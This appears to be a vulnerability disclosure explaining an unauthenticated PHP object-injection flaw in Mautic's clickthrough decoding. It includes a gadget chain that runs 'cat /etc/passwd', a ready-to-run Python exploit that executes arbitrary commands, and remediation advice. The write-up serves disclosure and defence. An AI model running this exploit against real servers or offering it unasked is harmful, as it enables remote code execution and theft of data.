The open-source marketing automation software Mautic suffers from a vulnerability due to usage of the insecure unserialize
function. An unauthenticated adversary exploiting this vulnerability is able to execute arbitrary code. When using PHP 7.0 or newer Mautic installations up to and including 2.15.1 are affected, for servers running older versions of PHP the vulnerability has not been fixed (yet). This document gives a quick overview of the vulnerability and how it can be exploited.
First, when accessing a non-existent path on a Mautic installation the indexAction
of the PublicController
will be called.
class PublicController extends CommonFormController
{
public function indexAction($slug, Request $request)
{
$model = $this->getModel('page');
// ...
$model->hitPage($entity, $this->request, 404);
return $this->notFound();
}
}
Then the hitPage
method of the PageModel
is called. hitPage
then calls getHitQuery
, which calls AbstractCommonModel::decodeArrayFromUrl
.
class PageModel extends FormModel
{
public function hitPage($page, Request $request, $code = '200', Lead $lead = null, $query = [])
{
// ...
// Process the query
if (empty($query)) {
$query = $this->getHitQuery($request, $page);
}
// ...
}
public function getHitQuery(Request $request, $page = null)
{
$get = $request->query->all();
$post = $request->request->all();
$query = \array_merge($get, $post);
// Set generated page url
$query['page_url'] = $this->getPageUrl($request, $page);
// Process clickthrough if applicable
if (!empty($query['ct'])) {
$query['ct'] = $this->decodeArrayFromUrl($query['ct']);
}
return $query;
}
}
AbstractCommonModel::decodeArrayFromUrl
finally calls the vulnerable ClickthroughHelper::decodeArrayFromUrl
.
abstract class AbstractCommonModel
{
public function decodeArrayFromUrl($string, $urlDecode = true)
{
return ClickthroughHelper::decodeArrayFromUrl($string, $urlDecode);
}
}
The vulnerable code in app/bundles/CoreBundle/Helper/ClickthroughHelper.php
:
class ClickthroughHelper
{
public static function decodeArrayFromUrl($string, $urlDecode = true)
{
$raw = $urlDecode ? urldecode($string) : $string;
$decoded = base64_decode($raw);
if (empty($decoded)) {
return [];
}
if (strpos(strtolower($decoded), 'a') !== 0) {
throw new \InvalidArgumentException(sprintf('The string %s is not a serialized array.', $decoded));
}
return unserialize($decoded);
}
}
This code unserializes a user-controlled string. Adversaries can thus instantiate arbitrary PHP objects and achieve code execution.
Adversaries can exploit this vulnerability by crafting a PHP object that will execute code when it is destructed. The following unserialize gadget will execute system("cat /etc/passwd");
when destructed.
array(1) {
[0]=>
object(Gaufrette\Adapter\Zip)#2220 (2) {
["zipArchive":protected]=>
object(Monolog\Handler\BufferHandler)#2217 (10) {
["handler":protected]=>
object(Monolog\Handler\GroupHandler)#2224 (5) {
["handlers":protected]=>
array(0) {
}
["processors":protected]=>
array(1) {
[0]=>
string(6) "system"
}
}
["bufferSize":protected]=>
int(1)
["buffer":protected]=>
array(1) {
[0]=>
string(2) "cat /etc/passwd"
}
}
}
}
When this PHP object is destructed, the __destruct
method on Gaufrette\Adapter\Zip
will be called.
class Zip implements Adapter
{
public function __destruct()
{
if ($this->zipArchive) {
try {
$this->zipArchive->close();
} catch (\Exception $e) {
}
unset($this->zipArchive);
}
}
}
This method will call close
on its zipArchive
member. In our case this is a Monolog\Handler\BufferHandler
object.
class BufferHandler extends AbstractHandler
{
public function close()
{
$this->flush();
}
public function flush()
{
if ($this->bufferSize === 0) {
return;
}
$this->handler->handleBatch($this->buffer);
$this->clear();
}
}
The flush
method will then call handleBatch
on the Monolog\Handler\GroupHandler
object and pass its buffer
member variable in.
class GroupHandler extends AbstractHandler
{
public function handleBatch(array $records)
{
if ($this->processors) {
$processed = array();
foreach ($records as $record) {
foreach ($this->processors as $processor) {
$processed[] = call_user_func($processor, $record);
}
}
$records = $processed;
}
foreach ($this->handlers as $handler) {
$handler->handleBatch($records);
}
}
}
The handleBatch
method then calls call_user_func
which an adversary can use to execute arbitrary code.
unserialize
is a dangerous function that should only be used when the serialization of PHP objects is explicitly required. In cases where the serialization of PHP objects is not required one should use the json_encode
and json_decode
functions instead.
If PHP object serialization is required the $options
argument should be used to specify which PHP objects can be unserialized and a cryptographic primitive such as an HMAC should be used to prevent users from tampering with serialized data.
The following proof of concept exploits the vulnerability in order to execute arbitrary system commands:
#!/usr/bin/env python3
import requests
import base64
import argparse
def exploit(url, cmd):
php_function = 'system'
group_handler = b'O:28:"Monolog\\Handler\\GroupHandler":2:{s:13:"\x00*\x00processors";a:1:{i:0;s:' + bytes(str(len(php_function)), 'utf-8') + b':"' + bytes(php_function, 'utf-8') + b'";}s:11:"\x00*\x00handlers";a:0:{}}'
buffer_handler = b'O:29:"Monolog\\Handler\\BufferHandler":3:{s:13:"\x00*\x00bufferSize";i:1;s:9:"\x00*\x00buffer";a:1:{i:0;s:' + bytes(str(len(cmd)), 'utf-8') + b':"' + bytes(cmd, 'utf-8') + b'";}s:10:"\x00*\x00handler";' + group_handler + b'}'
zip_archive = b'a:1:{i:0;O:21:"Gaufrette\\Adapter\\Zip":1:{s:13:"\x00*\x00zipArchive";' + buffer_handler + b'}}'
payload = base64.b64encode(zip_archive)
output = requests.post('{}/index.php/404'.format(url), data={'ct': payload}).text
return output[:output.rindex('<!DOCTYPE html>')]
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Remote code execution on mautic')
parser.add_argument('url', help='base url of the mautic installation (e.g. http://localhost/)')
parser.add_argument('cmd', help='command to execute (e.g. ls)')
args = parser.parse_args()
print(exploit(args.url, args.cmd))